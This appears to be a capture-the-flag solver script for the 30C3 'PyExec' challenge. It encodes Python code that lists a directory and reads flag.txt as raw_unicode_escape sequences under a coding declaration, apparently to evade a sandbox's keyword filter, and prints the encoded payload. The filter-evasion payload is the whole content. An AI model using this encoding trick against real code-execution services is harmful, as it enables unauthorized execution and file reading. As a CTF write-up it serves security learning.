this is a solver code for the PyExec of 30C3 CTF.

to_raw_unicode_escape.py

#!/usr/bin/env python2

from binascii import hexlify,unhexlify

code1 = """
import os

print str(os.listdir('.'))
"""

code2 = """
f = open('./flag.txt', 'r')
print f.read()
"""

toRawUnicode = lambda x: '\u00'+hexlify(x)
data1 = "".join(map(toRawUnicode, list(code1)))
data2 = "".join(map(toRawUnicode, list(code2)))
print "# coding:raw_unicode_escape"
#print data1
print data2
# VVV output VVV
"""
# coding:raw_unicode_escape
\u000a\u0066\u0020\u003d\u0020\u006f\u0070\u0065\u006e\u0028\u0027\u002e\u002f\u0066\u006c\u0061\u0067\u002e\u0074\u0078\u0074\u0027\u002c\u0020\u0027\u0072\u0027\u0029\u000a\u0070\u0072\u0069\u006e\u0074\u0020\u0066\u002e\u0072\u0065\u0061\u0064\u0028\u0029\u000a
"""